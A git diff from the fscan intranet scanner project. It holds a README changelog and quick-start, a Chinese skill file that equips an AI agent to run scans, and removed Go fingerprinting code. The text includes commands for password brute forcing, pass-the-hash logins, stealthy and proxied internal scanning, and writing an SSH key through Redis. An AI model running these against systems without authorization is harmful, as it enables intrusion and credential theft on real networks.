> This update includes **262 commits**: 30 new features, 120 fixes, 54 refactors, 14 performance optimizations, 20 test enhancements.
|
||||
|
||||
### Architecture Refactoring
|
||||
- **Global Variable Elimination** - Migrated to Config/State objects for better concurrency safety and testability
|
||||
- **SMB Plugin Consolidation** - Merged smb/smb2/smbghost/smbinfo into unified plugin with new smb_protocol.go
|
||||
- **Service Probe Refactoring** - Implemented Nmap-style fallback mechanism, optimized port fingerprint strategy
|
||||
- **Output System Refactoring** - TXT real-time flush + dual-write mechanism, resolved result loss and ordering issues
|
||||
- **i18n Framework Upgrade** - Migrated to go-i18n, full coverage of core/plugins/webscan modules
|
||||
- **HostInfo Refactoring** - Ports field changed from string to int for type safety
|
||||
- **Function Complexity Optimization** - clusterpoc (125→30), EnhancedPortScan (111→20)
|
||||
- **Code Audit** - Fixed P0-P2 level issues, cleaned up deadcode
|
||||
- **Logging System Optimization** - LogDebug call cleanup (71→18), streamlined startup log output
|
||||
|
||||
### Performance Optimization
|
||||
- **Regex Precompilation** - Global regex precompilation to avoid repeated compilation overhead
|
||||
- **Memory Optimization** - Changed map[string]bool to map[string]struct{} for memory savings
|
||||
- **Concurrent Fingerprint Matching** - Multi-goroutine parallel matching for faster identification
|
||||
- **Connection Reuse** - SOCKS5 global dialer reuse to avoid repeated handshakes
|
||||
- **Sliding Window Scheduling** - Adaptive thread pool + streaming iterator for port scan optimization
|
||||
- **CEL Cache Optimization** - POC scan CEL environment caching to reduce repeated initialization
|
||||
- **Package-level Variable Extraction** - proxyFailurePatterns/resourceExhaustedPatterns/sslSecondProbes etc.
|
||||
- **Capacity Pre-allocation** - Simplified conversion chains, single-pass string replacement
|
||||
- **Concurrency Safety Optimization** - Optimized lock granularity and memory allocation
|
||||
|
||||
### New Features
|
||||
- **Web Management UI** - Visual scan task management with responsive layout and progress display
|
||||
- **Multi-format POC Adapter** - Support for xray and afrog format POCs
|
||||
- **Smart Scan Mode** - Bloom filter deduplication + proxy optimization
|
||||
- **Enhanced Fingerprint Library** - Integrated FingerprintHub (3139 fingerprints)
|
||||
- **Favicon Fingerprinting** - Support for mmh3 and MD5 dual-format hash matching
|
||||
- **Universal Version Extractor** - Auto-extract service version information
|
||||
- **Fingerprint Priority Sorting** - Smart sorting of match results
|
||||
- **Smart Protocol Detection** - Auto-detect HTTP/HTTPS protocol type
|
||||
- **Network Interface Binding** - Support for VPN scenarios (-iface parameter)
|
||||
- **Exclude Hosts File** - Read excluded hosts from file (-ehf parameter)
|
||||
- **ICMP Token Bucket Rate Limiting** - Prevent router crashes from high-speed scanning
|
||||
- **Port Scan Retry** - Automatic retry mechanism for failed scans
|
||||
- **RDP Real Authentication** - Integrated grdp library for system fingerprinting
|
||||
- **SMB/FTP File Listing** - Auto-list files on anonymous access
|
||||
- **302 Redirect Dual Detection** - Identify fingerprints from both original and redirected responses
|
||||
- **TXT Output URL Summary** - Append web service URL list for batch testing
|
||||
- **gonmap Core Integration** - Three improvements: probe strategy/matching engine/version parsing
|
||||
- **Selective Plugin Compilation** - Build Tags system for independent service/local/web plugin compilation
|
||||
- **Default Port Expansion** - Extended from 62 to 133 common ports
|
||||
- **Full Port Scan Support** - Expanded port range limits
|
||||
- **HTTP Redirect Control** - Configurable redirect count limit
|
||||
- **Performance Profiling Support** - Added pprof profiling and benchmark tests
|
||||
- **TCP Packet Statistics** - Service plugins support TCP packet send statistics
|
||||
- **fscan-lab Environment** - Intranet penetration training platform covering all vulnerability scenarios
|
||||
- **Redis Exploitation Enhancement** - Ported complete Redis exploitation (write pubkey/crontab/webshell/master-slave RCE)
|
||||
- **rsync Plugin Refactoring** - Restructured authentication logic using go-rsync library
|
||||
|
||||
### Bug Fixes (120 items, key fixes listed)
|
||||
- **RDP Null Pointer Panic** - Fixed certificate parsing crash (#551)
|
||||
- **Batch Scan Missing Results** - Fixed large-scale scan omissions (#304)
|
||||
- **JSON Output Format** - Fixed output format errors (#446)
|
||||
- **Redis Weak Password Detection** - Fixed detection omissions (#447)
|
||||
- **Real-time Result Saving** - Fixed scan results not saved timely (#469)
|
||||
- **Nmap Parse Overflow** - Fixed octal escape parsing bug (#478)
|
||||
- **Fingerprint Race Condition** - Fixed webtitle/webpoc race issues (#474)
|
||||
- **MySQL Connection Validation** - Changed to information_schema for validation
|
||||
- **Proxy Port Misjudgment** - Fixed port status judgment in proxy mode
|
||||
- **Context Timeout** - Fixed 22 plugin timeout unresponsive issues
|
||||
- **ICMP Race Condition** - Fixed concurrent scan race issues
|
||||
- **IPv6 Address Format** - Fixed 4 address formatting issues
|
||||
- **POC High Concurrency Hang** - Fixed Context propagation issues
|
||||
- **Ctrl+C Result Loss** - Added signal handling for proper result saving
|
||||
- **SOCKS5 Echo Issue** - Added proxy connection validation
|
||||
- **Service Probe Leak** - Fixed connection not properly closed
|
||||
- **webtitle Response Discard** - Fixed partial response data being discarded causing identification failure
|
||||
- **TXT Vulnerability Info Missing** - Fixed output missing vulnerability details
|
||||
- **JSON Fingerprint Missing** - Unified SERVICE result Target format
|
||||
- **Scan Duration Display** - Fixed completion time showing as 0
|
||||
- **False Vulnerability Records** - Refactored TXT output system to eliminate false positives
|
||||
- **Redis Cross-platform Path** - Fixed exploitation path and timeout issues
|
||||
- **Windows Compilation Warnings** - Fixed fscan-lite platform compatibility
|
||||
- **Go 1.20 Compatibility** - Downgraded dependencies for compatibility
|
||||
|
||||
### Test Enhancements (20 items)
|
||||
- **Unit Tests** - Core module coverage at 74-100%
|
||||
- **Concurrency Safety Tests** - Dedicated tests for State object and fingerprint matching engine
|
||||
- **Integration Tests** - Web scan/port scan/service probe/SSH auth/ICMP probe
|
||||
- **CLI Parameter Tests** - Command-line argument parsing verification
|
||||
- **Performance Benchmarks** - AdaptivePool and service probe strategy benchmarks
|
||||
- **ResultBuffer Tests** - Deduplication and completeness scoring verification
|
||||
|
||||
### Engineering Improvements
|
||||
- **CI Pipeline Optimization** - Upgraded to golangci-lint v2, simplified build steps
|
||||
- **Issue Automation** - GitHub Issue template optimization, Project automation workflow
|
||||
- **Full Lint Fixes** - revive/errcheck/shadow/staticcheck/gosimple all passing
|
||||
- **README Rewrite** - Comprehensive Chinese and English documentation update
|
||||
- **Code Format Unification** - gofmt/goimports standardization
|
||||
|
||||
## Quick Start
|
||||
|
||||
```bash
|
||||
# Scan C-class network
|
||||
./fscan -h 192.168.1.1/24
|
||||
|
||||
# Specify ports
|
||||
./fscan -h 192.168.1.1 -p 22,80,443,3389
|
||||
|
||||
# Alive detection only
|
||||
./fscan -h 192.168.1.1/24 -ao
|
||||
|
||||
# Disable brute force
|
||||
./fscan -h 192.168.1.1/24 -nobr
|
||||
|
||||
# Web scanning
|
||||
./fscan -u http://192.168.1.1
|
||||
|
||||
# Local plugin
|
||||
./fscan -local systeminfo
|
||||
|
||||
# Hash authentication
|
||||
./fscan -h 192.168.1.1 -m smb2 -user admin -hash xxxxx
|
||||
|
||||
# Redis write pubkey
|
||||
./fscan -h 192.168.1.1 -m redis -rf id_rsa.pub
|
||||
```
|
||||
|
||||
## Build
|
||||
|
||||
```bash
|
||||
# Standard build
|
||||
go build -ldflags="-s -w" -trimpath -o fscan main.go
|
||||
|
||||
# With Web UI
|
||||
go build -tags web -ldflags="-s -w" -trimpath -o fscan main.go
|
||||
```
|
||||
|
||||
## Install
|
||||
|
||||
```bash
|
||||
# Arch Linux
|
||||
yay -S fscan-git
|
||||
```
|
||||
|
||||
## Screenshots
|
||||
|
||||
`fscan.exe -h 192.168.x.x`
|
||||

|
||||
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -rf id_rsa.pub` (Redis write pubkey)
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -m ssh -user root -pwd password`
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080`
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -p 139 -m netbios`
|
||||

|
||||
|
||||

|
||||
|
||||
`fscan.exe -h 192.0.0.0/8 -m icmp`
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
## Roadmap
|
||||
|
||||
### Release Schedule
|
||||
- **Release Cycle** - Monthly release
|
||||
- **First 2 Weeks** - New features and enhancements
|
||||
- **Last 2 Weeks** - Bug fixes and code integration
|
||||
- **PRs Welcome** - Contributions are appreciated!
|
||||
|
||||
### Plugin Ecosystem
|
||||
- Continuously expand service plugin coverage
|
||||
- Develop more vulnerability detection and exploitation capabilities for each service plugin
|
||||
- Maintain backward compatibility of plugin APIs to ensure legacy POCs remain functional
|
||||
|
||||
### Fscan-lite
|
||||
- Lightweight version rewritten in C
|
||||
- Smaller binary size, fewer dependencies
|
||||
- Support for embedded/restricted environments
|
||||
- Directory: [fscan-lite](./fscan-lite)
|
||||
|
||||
### Fscan-lab
|
||||
- Intranet penetration testing lab environment
|
||||
- Covers all vulnerability scenarios supported by fscan
|
||||
- Development testing and feature verification platform
|
||||
- Learning and practice environment for beginners
|
||||
- Directory: [fscan-lab](./fscan-lab)
|
||||
|
||||
## Disclaimer
|
||||
|
||||
This tool is intended for **legally authorized** enterprise security testing only. Obtain proper authorization, comply with local laws, **do not scan unauthorized targets**. The author assumes no liability for any illegal use.
|
||||
|
||||
## 404StarLink
|
||||
|
||||

|
||||
|
||||
fscan is a member of [404Team StarLink 2.0](https://github.com/knownsec/404StarLink2.0-Galaxy).
|
||||
|
||||
## Star History
|
||||
|
||||
[](https://starchart.cc/shadow1ng/fscan)
|
||||
|
||||
## Donate
|
||||
|
||||
[Buy the author a drink](image/sponsor.png)
|
||||
|
||||
## References
|
||||
|
||||
- https://github.com/Adminisme/ServerScan
|
||||
- https://github.com/netxfly/x-crack
|
||||
- https://github.com/hack2fun/Gscan
|
||||
- https://github.com/k8gege/LadonGo
|
||||
- https://github.com/jjf012/gopoc
|
||||
- https://github.com/chainreactors/gogo
|
||||
- https://github.com/0x727/FingerprintHub
|
||||
- https://github.com/killmonday/fscanx
|
||||
@@ -0,0 +1,304 @@
|
||||
---
|
||||
name: fscan-agent
|
||||
description: 使用 fscan 进行网络扫描和安全评估。当用户要求扫描网段、探测主机存活、发现开放端口、识别服务、检测漏洞或弱口令时使用。支持 NDJSON 结构化输出,适合 AI agent 管道消费。
|
||||
argument-hint: <目标IP/网段> [附加参数]
|
||||
allowed-tools: Bash, Read, Agent
|
||||
---
|
||||
|
||||
# Fscan AI Agent Skill
|
||||
|
||||
## 工具概述
|
||||
|
||||
Fscan 是一款内网综合扫描工具,功能包括:
|
||||
- 主机存活探测(ICMP / TCP)
|
||||
- 端口扫描与服务识别
|
||||
- 漏洞检测(MS17-010、Redis 未授权等)
|
||||
- 弱口令爆破(SSH、SMB、MySQL、MSSQL、FTP、RDP 等)
|
||||
- Web 指纹识别与 POC 扫描
|
||||
- NetBIOS / SMB 信息收集
|
||||
- 本地信息收集(杀软检测、系统信息等)
|
||||
|
||||
二进制路径:当前项目编译产物 `fscan_cli`,或系统 PATH 中的 `fscan`。
|
||||
|
||||
## 调用格式
|
||||
|
||||
```bash
|
||||
# AI agent 标准用法:NDJSON 输出,无人类日志干扰
|
||||
fscan -h <目标> -silent [其他参数]
|
||||
|
||||
# 解析输出
|
||||
fscan -h 192.168.1.0/24 -silent | jq 'select(.type=="VULN")'
|
||||
```
|
||||
|
||||
## 核心参数
|
||||
|
||||
### 目标指定
|
||||
|
||||
| 参数 | 说明 | 示例 |
|
||||
|------|------|------|
|
||||
| `-h` | 目标主机(IP / CIDR / 范围) | `-h 192.168.1.0/24` `-h 10.0.0.1-10.0.0.100` |
|
||||
| `-hf` | 从文件读取目标 | `-hf targets.txt` |
|
||||
| `-p` | 指定端口(逗号/范围) | `-p 22,80,443,445,3306` `-p 1-1000` |
|
||||
| `-ep` | 排除端口 | `-ep 25,110` |
|
||||
| `-eh` | 排除主机 | `-eh 192.168.1.1` |
|
||||
| `-u` | 指定 URL(Web 扫描) | `-u https://example.com` |
|
||||
| `-uf` | URL 文件 | `-uf urls.txt` |
|
||||
|
||||
### 扫描控制
|
||||
|
||||
| 参数 | 说明 | 默认值 |
|
||||
|------|------|--------|
|
||||
| `-m` | 扫描模式 | `all` |
|
||||
| `-t` | 端口扫描线程数 | `600` |
|
||||
| `-mt` | 模块线程数 | `20` |
|
||||
| `-time` | 连接超时(秒) | `3` |
|
||||
| `-gt` | 全局超时(秒) | `180` |
|
||||
| `-np` | 跳过存活检测 | `false` |
|
||||
| `-ntp` | 禁用 TCP 补充探测 | `false` |
|
||||
| `-ao` | 仅存活检测 | `false` |
|
||||
| `-nobr` | 禁用暴力破解 | `false` |
|
||||
| `-full` | 全量 POC 扫描 | `false` |
|
||||
| `-max-retries` | 最大重试次数 | `1` |
|
||||
|
||||
### 认证
|
||||
|
||||
| 参数 | 说明 |
|
||||
|------|------|
|
||||
| `-user` | 用户名 |
|
||||
| `-pwd` | 密码 |
|
||||
| `-usera` | 追加用户名 |
|
||||
| `-pwda` | 追加密码 |
|
||||
| `-userf` | 用户名字典文件 |
|
||||
| `-pwdf` | 密码字典文件 |
|
||||
| `-domain` | 域名(SMB/WMI) |
|
||||
| `-sshkey` | SSH 私钥文件 |
|
||||
| `-hash` / `-hashf` | NTLM Hash / Hash 文件 |
|
||||
|
||||
### 代理
|
||||
|
||||
| 参数 | 说明 |
|
||||
|------|------|
|
||||
| `-socks5` | SOCKS5 代理 (`127.0.0.1:1080`) |
|
||||
| `-proxy` | HTTP 代理 (`http://127.0.0.1:8080`) |
|
||||
| `-iface` | 指定本地网卡 IP(VPN 场景) |
|
||||
|
||||
### 输出
|
||||
|
||||
| 参数 | 说明 |
|
||||
|------|------|
|
||||
| `-silent` | 静默模式:stdout 仅输出 NDJSON |
|
||||
| `-o` | 输出文件路径(默认 `result.txt`) |
|
||||
| `-f` | 输出格式:`txt` / `json` / `csv` |
|
||||
| `-no` | 禁用文件保存 |
|
||||
| `-debug` | 调试模式:日志写入 `fscan_debug.log` |
|
||||
| `-log` | 日志级别(`debug` / `info` / `base` / `error`) |
|
||||
|
||||
### 扫描模式 `-m` 的取值
|
||||
|
||||
| 值 | 说明 |
|
||||
|------|------|
|
||||
| `all` | 全部扫描(默认) |
|
||||
| `icmp` | 仅 ICMP 存活检测 |
|
||||
| 插件名 | 仅运行指定插件(如 `ssh`、`smb`、`ms17010`、`webtitle`) |
|
||||
|
||||
## 服务插件列表
|
||||
|
||||
| 插件 | 默认端口 | 功能 |
|
||||
|------|----------|------|
|
||||
| `ftp` | 21 | FTP 弱口令 |
|
||||
| `ssh` | 22 | SSH 弱口令 |
|
||||
| `telnet` | 23 | Telnet 弱口令 |
|
||||
| `smtp` | 25 | SMTP 弱口令 |
|
||||
| `findnet` | 135 | RPC 网络信息发现(NetInfo) |
|
||||
| `netbios` | 139 | NetBIOS 信息收集 |
|
||||
| `smb` | 445 | SMB 弱口令 |
|
||||
| `ms17010` | 445 | MS17-010 永恒之蓝检测 |
|
||||
| `ldap` | 389 | LDAP 弱口令 |
|
||||
| `mssql` | 1433 | MSSQL 弱口令 |
|
||||
| `oracle` | 1521 | Oracle 弱口令 |
|
||||
| `mysql` | 3306 | MySQL 弱口令 |
|
||||
| `rdp` | 3389 | RDP 弱口令 + 系统信息 |
|
||||
| `postgresql` | 5432 | PostgreSQL 弱口令 |
|
||||
| `vnc` | 5900 | VNC 弱口令 |
|
||||
| `redis` | 6379 | Redis 未授权 + 弱口令 |
|
||||
| `elasticsearch` | 9200 | ES 未授权 |
|
||||
| `mongodb` | 27017 | MongoDB 未授权 + 弱口令 |
|
||||
| `memcached` | 11211 | Memcached 未授权 |
|
||||
| `kafka` | 9092 | Kafka 未授权 |
|
||||
| `activemq` | 61616 | ActiveMQ 弱口令 |
|
||||
| `rabbitmq` | 5672 | RabbitMQ 弱口令 |
|
||||
| `cassandra` | 9042 | Cassandra 弱口令 |
|
||||
| `neo4j` | 7687 | Neo4j 弱口令 |
|
||||
| `rsync` | 873 | Rsync 未授权 |
|
||||
| `webtitle` | 80/443 | Web 标题 + 指纹识别 |
|
||||
| `webpoc` | 80/443 | Web 漏洞 POC |
|
||||
|
||||
## 本地插件(`-local`)
|
||||
|
||||
```bash
|
||||
fscan -local avdetect # 杀软检测
|
||||
fscan -local systeminfo # 系统信息收集
|
||||
fscan -local envinfo # 环境变量信息
|
||||
fscan -local dcinfo # 域控信息
|
||||
fscan -local fileinfo # 敏感文件搜索
|
||||
```
|
||||
|
||||
## NDJSON 输出 Schema(`-silent` 模式)
|
||||
|
||||
每行一个 JSON 对象,所有字段定义:
|
||||
|
||||
| 字段 | 类型 | 出现条件 | 说明 |
|
||||
|------|------|----------|------|
|
||||
| `type` | string | 必有 | `HOST` / `PORT` / `SERVICE` / `VULN` |
|
||||
| `target` | string | 必有 | 原始目标 `host` 或 `host:port` |
|
||||
| `status` | string | 必有 | 状态描述 |
|
||||
| `host` | string | 必有 | IP 地址 |
|
||||
| `port` | int | PORT/SERVICE/VULN | 端口号 |
|
||||
| `service` | string | SERVICE/VULN | 服务名(ssh, smb, http 等) |
|
||||
| `protocol` | string | HOST/SERVICE | 协议(ICMP, TCP, http, https) |
|
||||
| `banner` | string | SERVICE | 服务 Banner |
|
||||
| `title` | string | SERVICE (web) | 网页标题 |
|
||||
| `url` | string | SERVICE (web) | 完整 URL |
|
||||
| `vulnerability` | string | VULN | 漏洞名称 |
|
||||
| `username` | string | VULN (弱口令) | 用户名 |
|
||||
| `password` | string | VULN (弱口令) | 密码 |
|
||||
| `plugin` | string | SERVICE/VULN | 产生结果的插件名 |
|
||||
| `version` | string | SERVICE | 服务版本号 |
|
||||
| `os` | string | SERVICE | 操作系统信息 |
|
||||
|
||||
### 输出示例
|
||||
|
||||
```jsonl
|
||||
{"type":"HOST","target":"192.168.1.5","status":"alive","host":"192.168.1.5","protocol":"ICMP"}
|
||||
{"type":"PORT","target":"192.168.1.5","status":"open","host":"192.168.1.5","port":22}
|
||||
{"type":"PORT","target":"192.168.1.5","status":"open","host":"192.168.1.5","port":445}
|
||||
{"type":"SERVICE","target":"192.168.1.5:22","status":"identified","host":"192.168.1.5","port":22,"service":"ssh","banner":"SSH-2.0-OpenSSH_8.9p1","version":"8.9p1","plugin":"portscan"}
|
||||
{"type":"SERVICE","target":"192.168.1.5:80","status":"web","host":"192.168.1.5","port":80,"service":"http","protocol":"http","url":"http://192.168.1.5:80","title":"Welcome","plugin":"webtitle"}
|
||||
{"type":"VULN","target":"192.168.1.5:445","status":"MS17-010 (Windows Server 2012 R2 Standard 9600)","host":"192.168.1.5","port":445,"vulnerability":"MS17-010","service":"smb","plugin":"ms17010"}
|
||||
{"type":"VULN","target":"192.168.1.5:22","status":"weak_credential: root:123456","host":"192.168.1.5","port":22,"service":"ssh","username":"root","password":"123456","plugin":"ssh"}
|
||||
{"type":"VULN","target":"192.168.1.5:6379","status":"Redis unauthorized","host":"192.168.1.5","port":6379,"vulnerability":"Redis unauthorized access","service":"redis","plugin":"redis"}
|
||||
```
|
||||
|
||||
### 结果产出顺序
|
||||
|
||||
1. `HOST` — 存活探测阶段
|
||||
2. `PORT` — 端口扫描阶段(与 SERVICE 可能交错)
|
||||
3. `SERVICE` — 服务识别阶段
|
||||
4. `VULN` — 漏洞/弱口令检测阶段
|
||||
|
||||
同一 `host:port` 可产生多条结果(PORT + SERVICE + VULN)。
|
||||
|
||||
## 常用场景参数组合
|
||||
|
||||
### 全网段快速扫描
|
||||
|
||||
```bash
|
||||
fscan -h 192.168.1.0/24 -silent
|
||||
```
|
||||
|
||||
### 跳过存活检测直接扫端口(目标明确时)
|
||||
|
||||
```bash
|
||||
fscan -h 192.168.1.0/24 -silent -np
|
||||
```
|
||||
|
||||
### 指定端口精确扫描
|
||||
|
||||
```bash
|
||||
fscan -h 10.0.0.0/24 -silent -p 22,80,443,445,3389,3306,6379
|
||||
```
|
||||
|
||||
### 仅存活探测
|
||||
|
||||
```bash
|
||||
fscan -h 172.16.0.0/16 -silent -m icmp
|
||||
```
|
||||
|
||||
### 低速隐蔽扫描
|
||||
|
||||
```bash
|
||||
fscan -h 192.168.1.0/24 -silent -t 30 -time 5
|
||||
```
|
||||
|
||||
### 通过 SOCKS5 代理扫描内网
|
||||
|
||||
```bash
|
||||
fscan -h 10.0.0.0/24 -silent -socks5 127.0.0.1:1080
|
||||
```
|
||||
|
||||
### 仅做弱口令检测
|
||||
|
||||
```bash
|
||||
fscan -h 192.168.1.10 -silent -m ssh -user root -pwdf /path/to/passwords.txt
|
||||
```
|
||||
|
||||
### Web 目标扫描
|
||||
|
||||
```bash
|
||||
fscan -u https://target.com -silent -full
|
||||
```
|
||||
|
||||
### 多目标文件批量扫描
|
||||
|
||||
```bash
|
||||
fscan -hf targets.txt -silent -o results.json -f json
|
||||
```
|
||||
|
||||
### 带调试日志的排障扫描
|
||||
|
||||
```bash
|
||||
# NDJSON 到 stdout,debug 日志到文件,互不干扰
|
||||
fscan -h 192.168.1.0/24 -silent -debug
|
||||
# 事后查看:cat fscan_debug.log
|
||||
```
|
||||
|
||||
## AI Agent 结果处理
|
||||
|
||||
### Python 管道消费
|
||||
|
||||
```python
|
||||
import json, subprocess
|
||||
|
||||
proc = subprocess.Popen(
|
||||
["fscan", "-h", "192.168.1.0/24", "-silent"],
|
||||
stdout=subprocess.PIPE, text=True
|
||||
)
|
||||
|
||||
hosts, services, vulns = [], [], []
|
||||
for line in proc.stdout:
|
||||
r = json.loads(line)
|
||||
if r["type"] == "HOST":
|
||||
hosts.append(r["host"])
|
||||
elif r["type"] == "SERVICE":
|
||||
services.append(r)
|
||||
elif r["type"] == "VULN":
|
||||
vulns.append(r)
|
||||
|
||||
proc.wait()
|
||||
```
|
||||
|
||||
### jq 过滤
|
||||
|
||||
```bash
|
||||
# 提取所有弱口令
|
||||
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.username != null) | "\(.host):\(.port) \(.service) \(.username):\(.password)"'
|
||||
|
||||
# 提取所有漏洞
|
||||
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.type=="VULN") | "\(.host):\(.port) \(.vulnerability)"'
|
||||
|
||||
# 提取 Web 服务
|
||||
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.url != null) | "\(.url) \(.title)"'
|
||||
|
||||
# 统计开放端口
|
||||
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.type=="PORT") | .port' | sort -n | uniq -c | sort -rn
|
||||
```
|
||||
|
||||
## 注意事项
|
||||
|
||||
- `-silent` 抑制所有人类可读日志,stdout 仅输出 NDJSON
|
||||
- 空字段不出现在 JSON 中(`omitempty`)
|
||||
- 进程退出码 `0` 正常完成,非 `0` 表示参数错误或初始化失败
|
||||
- `-silent` 和 `-debug` 可同时使用,互不干扰
|
||||
- SOCKS5 代理下 fscan 信任协议层连接结果,不做额外深度验证
|
||||
- 扫描大网段时线程数会自动调整,资源耗尽时自适应降级
|
||||
- 默认超时 3 秒,防火墙 drop 的端口会静默超时,不计入失败率
|
||||
@@ -1,69 +0,0 @@
|
||||
package WebScan
|
||||
|
||||
import (
|
||||
"crypto/md5"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/WebScan/info"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"regexp"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type CheckDatas struct {
|
||||
Body []byte
|
||||
Headers string
|
||||
}
|
||||
|
||||
func InfoCheck(Url string, CheckData []CheckDatas) {
|
||||
var matched bool
|
||||
var infoname []string
|
||||
|
||||
for _, data := range CheckData {
|
||||
for _, rule := range info.RuleDatas {
|
||||
if rule.Type == "code" {
|
||||
matched, _ = regexp.MatchString(rule.Rule, string(data.Body))
|
||||
} else {
|
||||
matched, _ = regexp.MatchString(rule.Rule, data.Headers)
|
||||
}
|
||||
if matched == true {
|
||||
infoname = append(infoname, rule.Name)
|
||||
}
|
||||
}
|
||||
flag, name := CalcMd5(data.Body)
|
||||
|
||||
if flag == true {
|
||||
infoname = append(infoname, name)
|
||||
}
|
||||
}
|
||||
|
||||
infostr := RemoveMore(infoname)
|
||||
|
||||
if len(infoname) > 0 {
|
||||
result := fmt.Sprintf("[+] InfoScan:%-25v %s ", Url, infostr)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
}
|
||||
|
||||
func CalcMd5(Body []byte) (bool, string) {
|
||||
has := md5.Sum(Body)
|
||||
md5str := fmt.Sprintf("%x", has)
|
||||
for _, md5data := range info.Md5Datas {
|
||||
if md5str == md5data.Md5Str {
|
||||
return true, md5data.Name
|
||||
}
|
||||
}
|
||||
return false, ""
|
||||
}
|
||||
|
||||
func RemoveMore(a []string) (infostr string) {
|
||||
var ret []string
|
||||
for i := 0; i < len(a); i++ {
|
||||
if (i > 0 && a[i-1] == a[i]) || len(a[i]) == 0 {
|
||||
continue
|
||||
}
|
||||
ret = append(ret, a[i])
|
||||
}
|
||||
infostr = strings.ReplaceAll(fmt.Sprintf("%s ", ret), "[", "")
|
||||
infostr = strings.ReplaceAll(infostr, "]", "")
|
||||
return
|
||||
}
|
||||
@@ -1,46 +0,0 @@
|
||||
package WebScan
|
||||
|
||||
import (
|
||||
"embed"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/WebScan/lib"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"net/http"
|
||||
"time"
|
||||
)
|
||||
|
||||
//go:embed pocs
|
||||
var Pocs embed.FS
|
||||
|
||||
func WebScan(info *common.HostInfo) {
|
||||
var pocinfo = common.Pocinfo
|
||||
pocinfo.Target = info.Url
|
||||
err := Execute(pocinfo)
|
||||
if err != nil && common.LogErr {
|
||||
fmt.Println(info.Url, err)
|
||||
}
|
||||
}
|
||||
|
||||
func Execute(PocInfo common.PocInfo) error {
|
||||
//PocInfo.Proxy = "http://127.0.0.1:8080"
|
||||
err := lib.InitHttpClient(PocInfo.Num, PocInfo.Proxy, time.Duration(PocInfo.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
req, err := http.NewRequest("GET", PocInfo.Target, nil)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
|
||||
if PocInfo.Cookie != "" {
|
||||
req.Header.Set("Cookie", PocInfo.Cookie)
|
||||
}
|
||||
|
||||
if PocInfo.PocName != "" {
|
||||
lib.CheckMultiPoc(req, Pocs, PocInfo.Num, PocInfo.PocName)
|
||||
} else {
|
||||
lib.CheckMultiPoc(req, Pocs, PocInfo.Num, "")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -1,137 +0,0 @@
|
||||
package info
|
||||
|
||||
type RuleData struct {
|
||||
Name string
|
||||
Type string
|
||||
Rule string
|
||||
}
|
||||
|
||||
type Md5Data struct {
|
||||
Name string
|
||||
Md5Str string
|
||||
}
|
||||
|
||||
var RuleDatas = []RuleData{
|
||||
{"Shiro", "headers", "(=deleteMe|rememberMe=)"},
|
||||
{"Portainer(Docker管理)", "code", "(portainer.updatePassword|portainer.init.admin)"},
|
||||
{"Gogs简易Git服务", "cookie", "(i_like_gogs)"},
|
||||
{"Gitea简易Git服务", "cookie", "(i_like_gitea)"},
|
||||
{"宝塔-BT.cn", "code", "(app.bt.cn/static/app.png|安全入口校验失败)"},
|
||||
{"Nexus", "code", "(Nexus Repository Manager)"},
|
||||
{"Nexus", "cookie", "(NX-ANTI-CSRF-TOKEN)"},
|
||||
{"Harbor", "code", "(<title>Harbor</title>)"},
|
||||
{"Harbor", "cookie", "(harbor-lang)"},
|
||||
{"禅道", "code", "(/theme/default/images/main/zt-logo.png)"},
|
||||
{"禅道", "cookie", "(zentaosid)"},
|
||||
{"协众OA", "code", "(Powered by 协众OA)"},
|
||||
{"协众OA", "cookie", "(CNOAOASESSID)"},
|
||||
{"xxl-job", "code", "(分布式任务调度平台XXL-JOB)"},
|
||||
{"atmail-WebMail", "cookie", "(atmail6)"},
|
||||
{"atmail-WebMail", "code", "(Powered by Atmail)"},
|
||||
{"atmail-WebMail", "code", "(/index.php/mail/auth/processlogin)"},
|
||||
{"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|<i>Hypertext Transfer Protocol -- HTTP/1.1</i>)"},
|
||||
{"致远OA", "code", "(/seeyon/USER-DATA/IMAGES/LOGIN/login.gif)"},
|
||||
{"Typecho", "code", "(Typecho</a>)"},
|
||||
{"金蝶EAS", "code", "(easSessionId)"},
|
||||
{"phpMyAdmin", "cookie", "(pma_lang|phpMyAdmin)"},
|
||||
{"phpMyAdmin", "code", "(/themes/pmahomme/img/logo_right.png)"},
|
||||
{"H3C-AM8000", "code", "(AM8000)"},
|
||||
{"360企业版", "code", "(360EntWebAdminMD5Secret)"},
|
||||
{"H3C公司产品", "code", "([email protected])"},
|
||||
{"H3C ICG 1000", "code", "(ICG 1000系统管理)"},
|
||||
{"Citrix-Metaframe", "code", "(window.location=\"/Citrix/MetaFrame)"},
|
||||
{"H3C ER5100", "code", "(ER5100系统管理)"},
|
||||
{"阿里云CDN", "code", "(cdn.aliyuncs.com)"},
|
||||
{"CISCO_EPC3925", "code", "(Docsis_system)"},
|
||||
{"CISCO ASR", "code", "(CISCO ASR)"},
|
||||
{"H3C ER3200", "code", "(ER3200系统管理)"},
|
||||
{"万户ezOFFICE", "headers", "(LocLan)"},
|
||||
{"万户网络", "code", "(css/css_whir.css)"},
|
||||
{"Spark_Master", "code", "(Spark Master at)"},
|
||||
{"华为_HUAWEI_SRG2220", "code", "(HUAWEI SRG2220)"},
|
||||
